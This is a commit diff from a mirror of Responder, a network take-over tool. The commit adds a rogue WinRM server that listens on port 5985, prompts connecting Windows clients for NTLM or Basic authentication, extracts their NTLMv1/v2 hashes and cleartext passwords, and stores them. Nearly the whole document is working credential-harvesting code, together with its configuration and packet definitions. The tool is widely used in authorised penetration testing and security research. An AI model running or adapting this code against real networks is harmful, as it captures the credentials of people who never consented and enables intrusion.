mirror of
https://github.com/lgandx/Responder.git
synced 2025-08-14 02:27:12 -07:00
Added WinRM rogue server
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lgandx
parent
8f74fdaf46
commit
85315442bd
6 changed files with 203 additions and 2 deletions
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@ -14,6 +14,7 @@ HTTPS = On
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DNS = On
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LDAP = On
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DCERPC = On
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WINRM = On
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; Custom challenge.
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; Use "Random" for generating a random challenge for each requests (Default)
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@ -262,6 +262,10 @@ def main():
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from servers.HTTP import HTTP
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threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 80, HTTP,)))
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if settings.Config.WinRM_On_Off:
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from servers.WinRM import WinRM
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threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,)))
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if settings.Config.SSL_On_Off:
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from servers.HTTP import HTTP
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threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,)))
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16
packets.py
16
packets.py
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@ -317,6 +317,21 @@ class IIS_NTLM_Challenge_Ans(Packet):
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def calculate(self,payload):
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self.fields["Payload"] = b64encode(payload)
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class WinRM_NTLM_Challenge_Ans(Packet):
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fields = OrderedDict([
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("Code", "HTTP/1.1 401 \r\n"),
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("WWWAuth", "WWW-Authenticate: Negotiate "),
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("Payload", ""),
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("Payload-CRLF", "\r\n"),
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("ServerType", "Server: Microsoft-HTTPAPI/2.0\r\n"),
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("Date", "Date: "+HTTPCurrentDate()+"\r\n"),
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("Len", "Content-Length: 0\r\n"),
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("CRLF", "\r\n"),
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])
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def calculate(self,payload):
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self.fields["Payload"] = b64encode(payload)
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class IIS_Basic_401_Ans(Packet):
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fields = OrderedDict([
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("Code", "HTTP/1.1 401 Unauthorized\r\n"),
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@ -2128,4 +2143,3 @@ class RPCNTLMNego(Packet):
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self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
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180
servers/WinRM.py
Normal file
180
servers/WinRM.py
Normal file
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@ -0,0 +1,180 @@
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#!/usr/bin/env python
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# This file is part of Responder, a network take-over set of tools
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# created and maintained by Laurent Gaffie.
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# email: laurent.gaffie@gmail.com
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# This program is free software: you can redistribute it and/or modify
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# it under the terms of the GNU General Public License as published by
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# the Free Software Foundation, either version 3 of the License, or
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# (at your option) any later version.
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#
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# This program is distributed in the hope that it will be useful,
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# but WITHOUT ANY WARRANTY; without even the implied warranty of
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# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
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# GNU General Public License for more details.
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#
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# You should have received a copy of the GNU General Public License
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# along with this program. If not, see <http://www.gnu.org/licenses/>.
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import struct
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import codecs
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from utils import *
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if settings.Config.PY2OR3 == "PY3":
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from socketserver import BaseRequestHandler, StreamRequestHandler
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else:
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from SocketServer import BaseRequestHandler, StreamRequestHandler
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from base64 import b64decode, b64encode
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from packets import NTLM_Challenge
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from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans
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from packets import WPADScript, ServeExeFile, ServeHtmlFile
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# Parse NTLMv1/v2 hash.
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def ParseHTTPHash(data, Challenge, client, module):
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LMhashLen = struct.unpack('<H',data[12:14])[0]
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LMhashOffset = struct.unpack('<H',data[16:18])[0]
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LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
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LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
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NthashLen = struct.unpack('<H',data[20:22])[0]
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NthashOffset = struct.unpack('<H',data[24:26])[0]
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NTHash = data[NthashOffset:NthashOffset+NthashLen]
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NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
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UserLen = struct.unpack('<H',data[36:38])[0]
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UserOffset = struct.unpack('<H',data[40:42])[0]
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User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
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Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
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if NthashLen == 24:
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HostNameLen = struct.unpack('<H',data[46:48])[0]
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HostNameOffset = struct.unpack('<H',data[48:50])[0]
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
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SaveToDb({
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'module': module,
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'type': 'NTLMv1',
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'client': client,
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'host': HostName,
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'user': User,
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'hash': LMHashFinal+':'+NTHashFinal,
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'fullhash': WriteHash,
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})
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if NthashLen > 24:
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NthashLen = 64
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DomainLen = struct.unpack('<H',data[28:30])[0]
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DomainOffset = struct.unpack('<H',data[32:34])[0]
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Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
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HostNameLen = struct.unpack('<H',data[44:46])[0]
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HostNameOffset = struct.unpack('<H',data[48:50])[0]
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HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
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WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
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SaveToDb({
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'module': module,
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'type': 'NTLMv2',
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'client': client,
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'host': HostName,
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'user': Domain + '\\' + User,
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'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
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'fullhash': WriteHash,
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})
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# Handle HTTP packet sequence.
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def PacketSequence(data, client, Challenge):
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NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
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NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
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Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
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if NTLM_Auth or NTLM_Auth2:
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if NTLM_Auth2:
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Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
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if NTLM_Auth:
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Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
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if Packet_NTLM == b'\x01':
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Buffer = NTLM_Challenge(NegoFlags="\x35\x82\x89\xe2", ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
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Buffer.calculate()
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if NTLM_Auth2:
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Buffer_Ans = WinRM_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
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return Buffer_Ans
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else:
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Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
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return Buffer_Ans
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if Packet_NTLM == b'\x03':
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if NTLM_Auth2:
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NTLM_Auth = b64decode(''.join(NTLM_Auth2))
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else:
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NTLM_Auth = b64decode(''.join(NTLM_Auth))
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ParseHTTPHash(NTLM_Auth, Challenge, client, "WinRM")
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Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
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Buffer.calculate()
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return Buffer
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elif Basic_Auth:
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ClearText_Auth = b64decode(''.join(Basic_Auth))
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SaveToDb({
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'module': 'WinRM',
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'type': 'Basic',
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'client': client,
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'user': ClearText_Auth.decode('latin-1').split(':')[0],
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'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
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})
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Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
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Buffer.calculate()
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return Buffer
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else:
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if settings.Config.Basic:
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Response = IIS_Basic_401_Ans()
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if settings.Config.Verbose:
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print(text("[WinRM] Sending BASIC authentication request to %s" % client))
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else:
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Response = IIS_Auth_401_Ans()
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if settings.Config.Verbose:
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print(text("[WinRM] Sending NTLM authentication request to %s" % client))
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return Response
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# HTTP Server class
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class WinRM(BaseRequestHandler):
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def handle(self):
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try:
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Challenge = RandomChallenge()
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while True:
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self.request.settimeout(3)
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remaining = 10*1024*1024 #setting max recieve size
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data = ''
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while True:
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buff = ''
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buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
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if buff == '':
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break
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data += buff
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remaining -= len(buff)
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#check if we recieved the full header
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if data.find('\r\n\r\n') != -1:
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#we did, now to check if there was anything else in the request besides the header
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if data.find('Content-Length') == -1:
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#request contains only header
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break
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else:
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#searching for that content-length field in the header
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for line in data.split('\r\n'):
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if line.find('Content-Length') != -1:
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line = line.strip()
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remaining = int(line.split(':')[1].strip()) - len(data)
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if remaining <= 0:
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break
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if data == "":
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break
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else:
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Buffer = PacketSequence(data,self.client_address[0], Challenge)
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self.request.send(NetworkSendBufferPython2or3(Buffer))
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except:
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raise
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pass
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@ -23,7 +23,7 @@ import subprocess
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from utils import *
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__version__ = 'Responder 3.0.5.0'
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__version__ = 'Responder 3.0.6.0'
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class Settings:
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@ -97,6 +97,7 @@ class Settings:
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self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
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self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
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self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
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self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
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self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
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# Db File
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1
utils.py
1
utils.py
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@ -387,6 +387,7 @@ def StartupMessage():
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print(' %-27s' % "LDAP server" + (enabled if settings.Config.LDAP_On_Off else disabled))
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print(' %-27s' % "RDP server" + (enabled if settings.Config.RDP_On_Off else disabled))
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print(' %-27s' % "DCE-RPC server" + (enabled if settings.Config.RDP_On_Off else disabled))
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print(' %-27s' % "WinRM server" + (enabled if settings.Config.WinRM_On_Off else disabled))
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print('')
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print(color("[+] ", 2, 1) + "HTTP Options:")
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